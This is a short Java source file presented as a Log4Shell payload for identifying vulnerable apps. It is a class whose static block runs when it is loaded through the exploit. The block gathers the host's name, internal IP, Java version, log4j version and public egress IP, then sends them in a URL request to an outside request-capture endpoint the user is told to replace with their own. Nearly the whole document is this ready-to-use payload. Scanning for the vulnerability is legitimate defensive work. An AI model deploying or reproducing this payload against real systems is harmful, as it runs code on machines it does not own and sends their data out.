Log4Shell Payload for identifying vulnerable apps

Log4ShellPayload.java

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.core.util.Constants;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.net.InetAddress;
import java.net.URL;
import java.util.Properties;
import java.util.UUID;

public class Log4ShellPayload {
    static {
        try {
            String id = UUID.randomUUID().toString();
            String hostname = InetAddress.getLocalHost().getHostName();
            String ip = InetAddress.getLocalHost().getHostAddress().toString();
            String javaVersion = System.getProperty("java.version");
            Properties props = new Properties();
            try {
                InputStream pom = Logger.class.getResourceAsStream("/META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties");
                props.load(pom);
            } catch (Exception e) {
                e.printStackTrace();
            }
            String log4jVersion = props.getProperty("version", "unknown");
            System.out.println("log4shell on hostname " + hostname + " with id " + id);
            String egress = "unknown";
            try {
                egress = new BufferedReader(new InputStreamReader(new URL("https://checkip.amazonaws.com").openConnection().getInputStream())).readLine();
            } catch (Exception e) {
                e.printStackTrace();
            }
            try {
                new URL("https://enpx2j74dig2m.x.pipedream.net" // replace this with your own
                        + "?hostname=" + hostname
                        + "&ip=" + ip
                        + "&egress=" + egress
                        + "&id=" + id
                        + "&java=" + javaVersion
                        + "&log4j=" + log4jVersion
                ).getContent();
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {

    }
}